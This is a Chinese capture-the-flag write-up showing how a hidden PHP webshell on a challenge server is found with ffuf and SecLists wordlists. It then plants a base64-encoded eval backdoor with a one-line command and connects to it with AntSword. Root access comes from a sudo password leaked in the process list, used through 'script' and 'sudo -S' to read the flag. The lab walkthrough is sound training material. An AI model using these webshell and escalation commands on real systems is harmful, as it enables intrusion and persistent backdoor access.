image-20260212171843075

1
提示:有shell了交个flag先

一进来就是403,看提示可以猜测是有webshell文件的,这就需要扫目录了,我用的是seclists字典,路径

1
seclists/Discovery/Web-Content/Programming-Language-Specific/CommonBackdoors-PHP.fuzz.txt

命令

1
ffuf -u "http://challenge.shc.tf:31597/FUZZ" -w seclists/Discovery/Web-Content/Programming-Language-Specific/CommonBackdoors-PHP.fuzz.txt 

image-20260212174455647

打开是看不到什么东西的,那多半需要密码,路径

1
seclists/Discovery/Web-Content/raft-medium-words.txt

将命令试出来

1
ffuf -u "http://challenge.shc.tf:31597/webshell.php?FUZZ=ls" -w raft-medium-words.txt -fs 0

image-20260212181341213

访问时发现这是一个语法错误,命令是给eval执行的

image-20260212181426945

查看根目录可以看到flag文件

image-20260212181548767

但是却不能打开,这个要提权,写一个木马进去

1
2
http://challenge.shc.tf:32090/webshell.php
?cmd=system('echo PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4= | base64 -d > shell.php');

用蚁剑连接上进入虚拟终端,发现根目录flag没有权限

image-20260213144622515

找一下有SUID的文件,可以看到有一个sudo

image-20260213145219150

但是要tty运行,我们这只是一个虚拟终端,系统并不认可

image-20260213145347083

查看一下根目录,可以看到这些文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
bin
boot
dev
docker-entrypoint.sh
etc
flag
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var

有一个docker-entrypoint.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/bin/bash
set -e
echo 0 > /proc/sys/kernel/yama/ptrace_scope || true
if [ "$A1CTF_FLAG" ]; then
INSERT_FLAG="$A1CTF_FLAG"
unset A1CTF_FLAG
elif [ "$SHCTF_FLAG" ]; then
INSERT_FLAG="$SHCTF_FLAG"
unset SHCTF_FLAG
elif [ "$GZCTF_FLAG" ]; then
INSERT_FLAG="$GZCTF_FLAG"
unset GZCTF_FLAG
elif [ "$FLAG" ]; then
INSERT_FLAG="$FLAG"
unset FLAG
else
INSERT_FLAG="SHCTF{!!!!_FLAG_ERROR_ASK_ADMIN_!!!!}"
fi
rm -f /flag
echo "$INSERT_FLAG" > /flag
chmod 400 /flag
chown root:root /flag
NEWPASS=$(head -c 24 /dev/urandom | tr -cd 'A-Za-z0-9' | head -c 16)
echo "ctf:${NEWPASS}" | chpasswd
su - ctf -c "nohup script -q -f -c 'bash -li -c \"echo ${NEWPASS} | sudo -S -v >/dev/null 2>&1; sleep infinity\"' /dev/null >/dev/null 2>&1 &"
exec apache2-foreground

可以看到这样一段命令,这段命令的意思是切换到ctf用户并运行指定命令,nohup可以让命令不受字段影响的在后台运行

1
su - ctf -c "nohup script -q -f -c 'bash -li -c \"echo ${NEWPASS} | sudo -S -v >/dev/null 2>&1; sleep infinity\"' /dev/null >/dev/null 2>&1 &" 
1
2
script:直接创建了一个伪终端,脱离了tty的依赖
最关键的是这段echo ${NEWPASS} | sudo -S,直接登录了root

密码在进程可以看到

这样则有了命令

1
script -q -c 'echo 55CX8 | sudo -S cat /flag' /dev/null

image-20260213154032691